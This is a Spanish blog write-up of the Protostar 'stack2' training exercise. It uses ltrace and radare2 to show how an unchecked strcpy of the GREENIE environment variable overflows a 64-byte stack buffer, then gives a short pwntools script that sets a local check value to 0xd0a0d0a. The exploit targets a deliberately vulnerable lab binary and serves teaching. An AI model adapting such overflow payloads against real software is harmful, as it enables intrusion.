Esta vez,
./stack2
explora otras fuentes de entrada como las variables de entorno que recibe el proceso:
dpc@kernelinside:~/protostar/bin$ ./stack2
stack2: please set the GREENIE environment variable
Podemos comprobar con
ltrace
si efectivamente la variable de entorno GREENIE
es leída por ./stack2
:
dpc@kernelinside:~/protostar/bin$ ltrace ./stack2
__libc_start_main(0x8048494, 1, 0xfff1cb94, 0x8048530 <unfinished ...>
getenv("GREENIE") = nil
errx(1, 0x80485e8, 0, 0x4c5c2c00stack2: please set the GREENIE environment variable
Bien. Ahora
r2
nos revelará cuál es el destino del contenido de dicha variable y si el input puede explotar algún fallo de programación:
dpc@kernelinside:~/protostar/bin$ r2 ./stack2
-- Don't do this.
[0x080483e0]> aas
[0x080483e0]> e asm.bytes=false
[0x080483e0]> iz
000 0x000005e0 0x080485e0 7 8 (.rodata) ascii GREENIE
001 0x000005e8 0x080485e8 44 45 (.rodata) ascii please set the GREENIE environment variable\n
002 0x00000618 0x08048618 40 41 (.rodata) ascii you have correctly modified the variable
003 0x00000641 0x08048641 26 27 (.rodata) ascii Try again, you got 0x%08x\n
[0x080483e0]> afl
0x08048000 32 860 -> 861 segment.LOAD0
0x08048114 27 584 -> 631 segment.INTERP
0x0804835c 1 12 fcn.0804835c
0x0804836c 1 6 loc.imp.__gmon_start
0x0804837c 1 6 sym.imp.getenv
0x0804838c 1 6 sym.imp.__libc_start_main
0x0804839c 1 6 sym.imp.strcpy
0x080483ac 1 6 sym.imp.printf
0x080483bc 1 6 sym.imp.errx
0x080483cc 1 6 sym.imp.puts
0x080483e0 1 33 sym._start
0x08048410 6 85 sym.__do_global_dtors_aux
0x08048470 4 35 sym.frame_dummy
0x08048494 6 128 main
0x08048520 1 5 sym.__libc_csu_fini
0x08048530 4 90 sym.__libc_csu_init
0x0804858a 1 4 sym.__i686.get_pc_thunk.bx
0x08048590 4 42 sym.__do_global_ctors_aux
0x080485bc 1 28 sym._fini
0x080485d8 21 137 -> 139 obj._fp_hw
Hasta aquí todo huele como en
./stack1
. Nos situamos en main()
y desensamblamos la función:
[0x080483e0]> s main
[0x08048494]> pdf
/ (fcn) main 128
| main ();
| ; var int local_4h @ esp+0x4
| ; var int local_18h @ esp+0x18
| ; var int local_58h @ esp+0x58
| ; var int local_5ch @ esp+0x5c
| ; DATA XREF from sym._start (0x80483f7)
| 0x08048494 push ebp
| 0x08048495 mov ebp, esp
| 0x08048497 and esp, 0xfffffff0
| 0x0804849a sub esp, 0x60 ; '`'
| 0x0804849d mov dword [esp], str.GREENIE ; [0x80485e0:4]=0x45455247 ; "GREENIE"
| 0x080484a4 call sym.imp.getenv ; char *getenv(const char *name)
| 0x080484a9 mov dword [local_5ch], eax
| 0x080484ad cmp dword [local_5ch], 0
| ,=< 0x080484b2 jne 0x80484c8
| | 0x080484b4 mov dword [local_4h], str.please_set_the_GREENIE_environment_variable ; [0x80485e8:4]=0x61656c70 ; "please set the GREENIE environment variable\n"
| | 0x080484bc mov dword [esp], 1
| | 0x080484c3 call sym.imp.errx
getenv()
lee el contenido de la variable de entorno GREENIE
y guarda un puntero hacia el mismo en local_5ch
, al que llamaremos greenie_ptr
. En caso de error se imprime un error y el proceso finaliza. Si todo ha ido bien seguimos aquí:
| `-> 0x080484c8 mov dword [local_58h], 0
| 0x080484d0 mov eax, dword [local_5ch] ; [0x5c:4]=-1 ; '\' ; 92
| 0x080484d4 mov dword [local_4h], eax
| 0x080484d8 lea eax, [local_18h] ; 0x18 ; 24
| 0x080484dc mov dword [esp], eax
| 0x080484df call sym.imp.strcpy ; char *strcpy(char *dest, const char *src)
La variable
local_58h
(canary) se establece a 0 y luego se llama a strcpy()
, que copiará el contenido de la variable de entorno GREENIE
en local_18h
(buffer).
| 0x080484e4 mov eax, dword [local_58h] ; [0x58:4]=-1 ; 'X' ; 88
| 0x080484e8 cmp eax, 0xd0a0d0a
| ,=< 0x080484ed jne 0x80484fd
| | 0x080484ef mov dword [esp], str.you_have_correctly_modified_the_variable ; [0x8048618:4]=0x20756f79 ; "you have correctly modified the variable"
| | 0x080484f6 call sym.imp.puts ; int puts(const char *s)
| ,==< 0x080484fb jmp 0x8048512
Si el canary coincide con la constante
0xd0a0d0a
habemus chico bueno, sino...
| |`-> 0x080484fd mov edx, dword [local_58h] ; [0x58:4]=-1 ; 'X' ; 88
| | 0x08048501 mov eax, str.Try_again__you_got_0x_08x ; 0x8048641 ; "Try again, you got 0x%08x\n"
| | 0x08048506 mov dword [local_4h], edx
| | 0x0804850a mov dword [esp], eax
| | 0x0804850d call sym.imp.printf ; int printf(const char *format)
| | ; CODE XREF from main (0x80484fb)
| `--> 0x08048512 leave
\ 0x08048513 ret
El proceso lo siente mucho pero debemos volver a intentarlo.
El uso de
El uso de
strcpy()
vuelve a ser inapropiado, pues el programador no ha previsto la posibilidad de que el contenido de la variable de entorno GREENIE
exceda la capacidad del buffer (64 bytes) donde este se copirá, con el consecuente desbordamiento y sobreescritura de datos en el stack. El exploit se muestra a continuación:
from pwn import *
context(arch="i386", os="linux")
context.binary="/home/dpc/protostar/bin/stack2"
padding = "A"*64
canary = 0xd0a0d0a
def exploit():
payload = padding + p32(canary)
p = process(argv=[context.binary.path], env={"GREENIE":payload})
print(p.recv())
if __name__ == "__main__":
exploit()
La suerte sonrie a los valientes:
dpc@kernelinside:~/protostar/bin$ python ./exp_stack2.py
[*] '/home/dpc/protostar/bin/stack2'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
[+] Starting local process '/home/dpc/protostar/bin/stack2': pid 1758
[*] Process '/home/dpc/protostar/bin/stack2' stopped with exit code 41 (pid 1758)
you have correctly modified the variable
Pwned!
No hay comentarios:
Publicar un comentario